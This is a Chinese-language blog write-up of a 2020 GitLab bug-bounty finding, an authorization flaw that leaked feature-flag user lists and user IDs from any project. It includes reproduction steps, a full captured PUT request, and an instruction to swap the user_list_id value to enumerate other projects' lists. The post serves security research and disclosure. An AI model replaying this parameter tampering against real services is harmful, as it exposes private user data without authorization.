gitlab漏洞系列-越權(quán)獲取任何項目的特性標(biāo)志用戶列表(包括用戶id)

聲明:文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,讀者將其信息做其他用途,由用戶承擔(dān)全部法律及連帶責(zé)任,文章作者不承擔(dān)任何法律及連帶責(zé)任。

背景
白帽小哥ashish_r_padelkar在2020年8月份提交的這個漏洞,:只要在請求中提供2位連續(xù)的ID,就可以獲得任何私有/公共項目的特性標(biāo)志用戶列表。通過這種方式,我們可以枚舉所有這些特性標(biāo)志用戶列表。

復(fù)現(xiàn)步驟
1.跳轉(zhuǎn)至https://gitlab.com/<NameSpace>/project_1/-/feature_flags

2.編輯任何現(xiàn)有的特性標(biāo)志。

3.在“類型下拉列表”中選擇“用戶列表”選項,然后從項目中選擇可用的用戶列表。

4.單擊save并捕獲下面的請求。

PUT /group_new_1/project_1/-/feature_flags/1 HTTP/1.1  
Host: gitlab.com  
Connection: close  
Content-Length: 295  
Accept: application/json, text/plain, */*  
X-CSRF-Token: 1  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36  
Content-Type: application/json;charset=UTF-8  
Origin: https://gitlab.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://gitlab.com/group_new_1/project_1/-/feature_flags/1/edit  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8  
Cookie: 1


{"operations_feature_flag":{"name":"wwwwww","description":"","version":"new_version_flag","active":true,"strategies_attributes":[{"id":532,"name":"gitlabUserList","_destroy":false,"scopes_attributes":[{"id":1146,"_destroy":false,"environment_scope":"wwww"}],"parameters":{},"user_list_id":39}]}}  

5.只需將上述請求中的user_list_id參數(shù)的值更改為任意2位連續(xù)的ID,然后發(fā)送請求。

當(dāng)重新加載時,應(yīng)該在響應(yīng)中以及在特性標(biāo)志頁中看到用戶的Name列表。注意,當(dāng)你獲得的特性標(biāo)志屬于私有項目時,這也是可能的。




作者:richardo1o1


歡迎關(guān)注微信公眾號 :迪哥講事